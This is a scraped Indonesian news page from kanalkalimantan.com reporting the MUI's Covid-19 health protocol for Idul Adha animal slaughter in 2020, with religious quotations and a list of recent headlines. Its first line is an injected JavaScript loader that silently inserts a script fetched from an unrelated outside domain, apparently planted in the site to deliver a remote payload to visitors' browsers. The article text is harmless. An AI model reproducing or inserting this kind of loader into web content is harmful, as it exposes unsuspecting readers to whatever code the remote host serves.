(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: RELIGI

PENTING. Ini Protokol Kesehatan Penyembelihan Hewan Kurban Menurut MUI


KANALKALIMANTAN.COM, BANJARBARU – Selain Kementerian Agama, Majelis Ulama Indonesia (MUI) juga mengeluarkan panduan protokol kesehatan penyembelihan hewan kurban. Seperti kita ketahui, hari raya Idul Adha tahun ini jatuh pada tanggal 31 Juli 2020 di mana masyarakat masih waspada terhadap Covid-19.

MUI mengeluarkan panduan menyembelih hewan kurban dengan maksud agar masyarakat tetap aman dari potensi penularan dan juga langkah pencegahan Covid-19.

Waktu penyembelihan hewan kurban adalah tanggal 10 Dzulhijjah atau 31 Juli 2020 dan tiga hari Tasyriq, yakni 11, 12, dan 13 Dzulhijjah.

Adapun keutamaan kurban menyadur dari Nu Online, sudah tertulis dalam hadist Hasan yang berbunyi.

 

Baca juga :

Aisyah menuturkan dari Rasulullah shallallâhu ‘alaihi wasallam bahwa beliau bersabda, “Tidak ada suatu amalan yang dikerjakan anak Adam (manusia) pada hari raya Idul Adha yang lebih dicintai oleh Allah dari menyembelih hewan.

Baca juga :

Karena hewan itu akan datang pada hari kiamat dengan tanduk-tanduknya, bulu-bulunya, dan kuku-kuku kakinya. Darah hewan itu akan sampai di sisi Allah sebelum menetes ke tanah. Karenanya, lapangkanlah jiwamu untuk melakukannya.” (Hadits Hasan, riwayat al-Tirmidzi: 1413 dan Ibn Majah: 3117)
Begitu juga dengan firman Allah dalam surat Al-Hajj, yang berbunyi.

“Maka makanlah sebagian daripadanya dan (sebagian lagi) berikanlah untuk dimakan orang-orang yang sengsara lagi fakir.” (QS. al-Hajj, 22:28)

Lihat Grafis Protokol kesehatan menurut MUI tertuang dalam Fatwa Nomor 36 Tahun 2020 tentang Shalat Idul Adha dan Penyembelihan Hewan Kurban Saat Wabah COVID-19:

Infografis : kanalkalimantan/yuda

Itulah protokol kesehatan penyembelihan hewan kurban menurut MUI. (Kanalkalimantan.com/suara)


Desy Arfianty

Recent Posts

Meta hingga TikTok Digugat karena Picu Kecanduan Remaja

KANALKALIMANTAN.COM - Meta Platforms, TikTok, dan YouTube akan menghadapi persidangan di pengadilan Amerika Serikat (AS)… Read More

43 menit ago

DPMPTSP Kenalkan Layanan MPP Balangan ke Perangkat Desa

KANALKALIMANTAN.COM, PARINGIN - Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Balangan menyosialisasikan… Read More

58 menit ago

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

14 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

15 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

16 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

16 jam ago

This website uses cookies.